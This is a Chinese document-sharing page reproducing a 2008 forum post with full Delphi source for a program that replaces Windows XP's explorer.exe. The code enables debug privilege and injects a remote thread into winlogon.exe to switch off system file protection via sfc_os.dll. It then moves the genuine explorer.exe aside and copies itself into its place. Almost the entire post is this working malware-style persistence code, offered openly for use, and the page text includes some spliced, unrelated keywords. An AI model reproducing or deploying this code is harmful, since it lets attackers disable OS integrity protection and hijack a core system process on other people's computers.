首页 关闭XP保护。替换explorer¸exe

关闭XP保护。替换explorer¸exe

举报
开通vip

关闭XP保护。替换explorer¸exe关闭XP保护。替换explorer¸exe 在偶的VPC上测试是可以的。没有更多的测试. 偶并没有调用dllcache目录下的.你喜欢吧 { 关闭XP保护。替换explorer.exe } { } { 版权所有 (C) 2008 bbs.secdst.net } { } {*******************************************************} program Project1; uses Windows,TlHelp32; function Lower...

关闭XP保护。替换explorer¸exe
关闭XP保护。替换explorer¸exe 在偶的VPC上测试是可以的。没有更多的测试. 偶并没有调用dllcache 目录 工贸企业有限空间作业目录特种设备作业人员作业种类与目录特种设备作业人员目录1类医疗器械目录高值医用耗材参考目录 下的.你喜欢吧 { 关闭XP保护。替换explorer.exe } { } { 版权所有 (C) 2008 bbs.secdst.net } { } {*******************************************************} program Project1; uses Windows,TlHelp32; function LowerCase(const S: string): string; //转小写 var Ch: Char; L: Integer; Source, Dest: PChar; begin L := Length(S); SetLength(Result, L); Source := Pointer(S); Dest := Pointer(Result); while L <> 0 do begin Ch := Source^; if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32); Dest^ := Ch; Inc(Source); Inc(Dest); Dec(L); end; end; function CreatedMutexEx(MutexName: Pchar): Boolean; var MutexHandle: dword; begin MutexHandle := CreateMutex(nil, True, MutexName); if MutexHandle <> 0 then begin if GetLastError = ERROR_ALREADY_EXISTS then begin //CloseHandle(MutexHandle); Result := False; Exit; end; end; Result := True; end; function GetWinPath: string; //取WINDOWS目录 var Buf: array[0..MAX_PATH] of char; begin GetWindowsDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'\' then Result := Result + '\'; end; function GetTempDirectory: string; //取临时目录 var Buf: array[0..MAX_PATH] of char; begin GetTempPath(MAX_PATH,Buf); Result := Buf; if Result[Length(Result)]<>'\' then Result := Result + '\'; end; function EnableDebugPriv : Boolean; //提权为DEBUG var hToken : THANDLE; tp : TTokenPrivileges; rl : Cardinal; begin result := false; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken); if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then begin tp.PrivilegeCount := 1; tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl); end; end; procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 关闭XP文件保护 var TID: LongWord; hSfc,hThread: HMODULE; pfnCloseEvents: Pointer; begin hSfc := LoadLibrary('sfc_os.dll'); pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2)); FreeLibrary(hSfc); hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID); WaitForSingleObject(hThread, 4000); end; procedure InitProcess(Name: string); //查找winlogon.exe进程PID var FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32; ProcessHandle:dword; begin FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); FProcessEntry32.dwSize:=Sizeof(FProcessEntry32); if Process32First(FSnapshotHandle,FProcessEntry32) then begin repeat If Name = LowerCase(FProcessEntry32.szExeFile) then begin ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID); InjectThread(ProcessHandle); CloseHandle(ProcessHandle); Break; end; until not Process32Next(FSnapshotHandle,FProcessEntry32); end; CloseHandle(FSnapshotHandle); end; const ExpFile = 'explorer.exe'; MasterMutex = 'OpenSoul'; var s: string; begin if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆体 if not EnableDebugPriv then Exit; //提权失败退出 InitProcess('winlogon.exe') ; //注入winlogon.exe 先关闭xp的文件保护 .预防系统的还原 s := ParamStr(0) ; //取本名 if LowerCase(s) <> LowerCase(GetWinPath + ExpFile) then //判断自己是不是系统下的explorer.exe begin //如果不是 MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + 'system32\explorer.exe'),MOVEFILE_REPLACE_EXISTING); //先移动正在运行的explorer.exe CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ; //把自己复制到windows目录 为explorer.exe end; WinExec(PChar(GetWinPath + 'system32\explorer.exe'),1); //运行真正的explorer.exe end.
本文档为【关闭XP保护。替换explorer&cedil;exe】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
is_954223
暂无简介~
格式:doc
大小:20KB
软件:Word
页数:0
分类:互联网
上传时间:2017-11-24
浏览量:9